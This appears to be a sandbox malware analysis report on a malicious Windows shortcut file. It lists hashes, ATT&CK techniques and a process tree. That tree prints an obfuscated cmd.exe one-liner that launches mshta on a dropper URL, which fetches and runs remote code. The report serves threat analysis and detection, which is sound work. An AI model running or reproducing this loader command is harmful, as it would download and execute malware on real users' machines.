351f8af392112feec28af87c79ef067daed06a40b5804c3bac2201f47e8c1d33

Analysis

max time kernel
39s
max time network
42s
platform
windows10-2004_x64
resource
win10v2004-20260513-en
resource tags

arch:x64arch:x86image:win10v2004-20260513-enlocale:en-usos:windows10-2004-x64systemwindows
submitted
03/08/2026, 17:25

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General

Target
DOC-5GVCFI.lnk
Size 1KB
Sample260803-vzbvmatgpg
SHA256 351f8af392112feec28af87c79ef067daed06a40b5804c3bac2201f47e8c1d33
MD5 977e52f054d92df5e77f1a9c77481336
SHA1 b604cddada8dd6e853be2a7351d65eb377cd1832
SHA512 23b89cf0e21f39477e07259827217f8c187878fc6050c9d5956245710e5b5a1d2a3f3e6be79985d1803e964d2f4ffc5ded91177feabdf5545ddadab5fb9c8a78
TLSH
T1E3319C402EED0654F3B38F7794BF571485BFB8A68D20C61E0140450D5422A15E27BF67
MD5 SHA1 SHA512 TLSH

Score

10^/10

execution

Malware Config

Extracted

Language

Source

URLs

hta.dropper
https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB

Signatures

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1788976790-1541110888-1636651838-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Executes a command shell one-liner 1 TTPs 2 IoCs

Execution of a cmd.exe one-liner (/c "close" or /k "keep") is a common script/loader stage.

execution

Windows Command Shell

T1059.003

pid	Process
2792	cmd.exe
2936	cmd.exe

Suspicious use of WriteProcessMemory 2 IoCs

description	pid	Process	procid_target
PID 2936 wrote to memory of 2792	2936	cmd.exe	86
PID 2792 wrote to memory of 2556	2792	cmd.exe	87

C:\Windows\system32\cmd.exe
cmd /c C:\Users\Admin\AppData\Local\Temp\DOC-5GVCFI.lnk
1⤵
- Checks computer location settings
- Executes a command shell one-liner
- Suspicious use of WriteProcessMemory
PID:2936
- C:\WINDOWS\system32\cmd.exe
  "C:\WINDOWS\system32\cmd.exe" /v:on /C "set GtJNU=msh&&set vUuyR=ta&&start "" !GtJNU!!vUuyR! https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB"
  2⤵
  - Executes a command shell one-liner
  - Suspicious use of WriteProcessMemory
  PID:2792
- - C:\Windows\System32\mshta.exe
    mshta https://ma-pdffiller.lat/h/estagio1.php?r=391469FB5D82DB
    3⤵
    PID:2556

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

Windows Command Shell

T1059.003

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Analysis

Sharing

General

Malware Config

Extracted

Signatures

Processes

Network

MITRE ATT&CK Enterprise v16

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